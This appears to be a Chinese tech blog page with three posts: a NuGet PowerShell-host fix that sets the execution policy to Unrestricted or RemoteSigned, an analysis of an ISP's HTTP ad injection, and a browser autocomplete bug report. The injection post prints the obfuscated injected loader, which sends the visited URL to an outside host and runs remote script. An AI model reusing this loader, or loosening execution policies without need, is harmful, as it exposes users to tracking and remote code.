解决NuGet程序包更新安装失败的错误

管理NuGet程序包 中更新程序包,出现:

Failed to initialize the PowerShell host. If your PowerShell execution policy setting is set to AllSigned, open the Package Manager Console to initialize the host first

1. Step

Open Windows PowerShell, run as Administrator

2. Step

Setting an execution policy to RemoteSigned or Unrestricted should work. It must be changed under an administrator mode via a PowerShell console. Be aware that changes will be applied according to the bit version of the PowerShell console, so 32bit or 64 bit. So if you want to install a package in Visual Studio (32 bit version) which requires a specific policy you should change settings of the policy via PowerShell (x86).

The command in PowerShell (as administrator) to set the policy to unrestricted (as noted by @Gabriel in the comments) is:

start-job { Set-ExecutionPolicy Unrestricted } -RunAs32 | wait-job | Receive-Job

OR

NuGet is using the 32 bit console, so it wont be affected by changes to the 64 bit console. Run the following script to make sure you are configuring the 32 bit console.

start-job { Set-ExecutionPolicy RemoteSigned } -RunAs32 | wait-job | Receive-Job

3. Step

Restart Visual Studio

————————————————————-

如果所有的政策是正确的,但安装包时,仍有错误

无法初始化PowerShell主机。如果你的PowerShell执行策略设置为使用AllSigned,打开包管理器控制台首先初始化主机。

解决方案卸载  NuGet包管理器 插件,并重新安装它。

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

继续阅读“解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】”

浏览器中自动补全的一处错误:ftp.so

几年来这个问题就一直存在。从注册ftp.so起发现的。

在Windows下,浏览器地址栏中输入不加HTTP协议的网址:“ftp.so”,回车后,浏览器总会把它自动修改为 “ftp://ftp.so/”。

在IE,Chrome,Opera,Edge,Firefox中,都测试,结果都是一样的。

先后给 Google Chrome,微软,Mozilla 等报告过问题,但从没收到过回应。

感觉所有浏览器的自动修正方法都是相同的,所以这也许是个某组织的问题比如:W3C.org。


更新备注:Chrome 2018年已经修正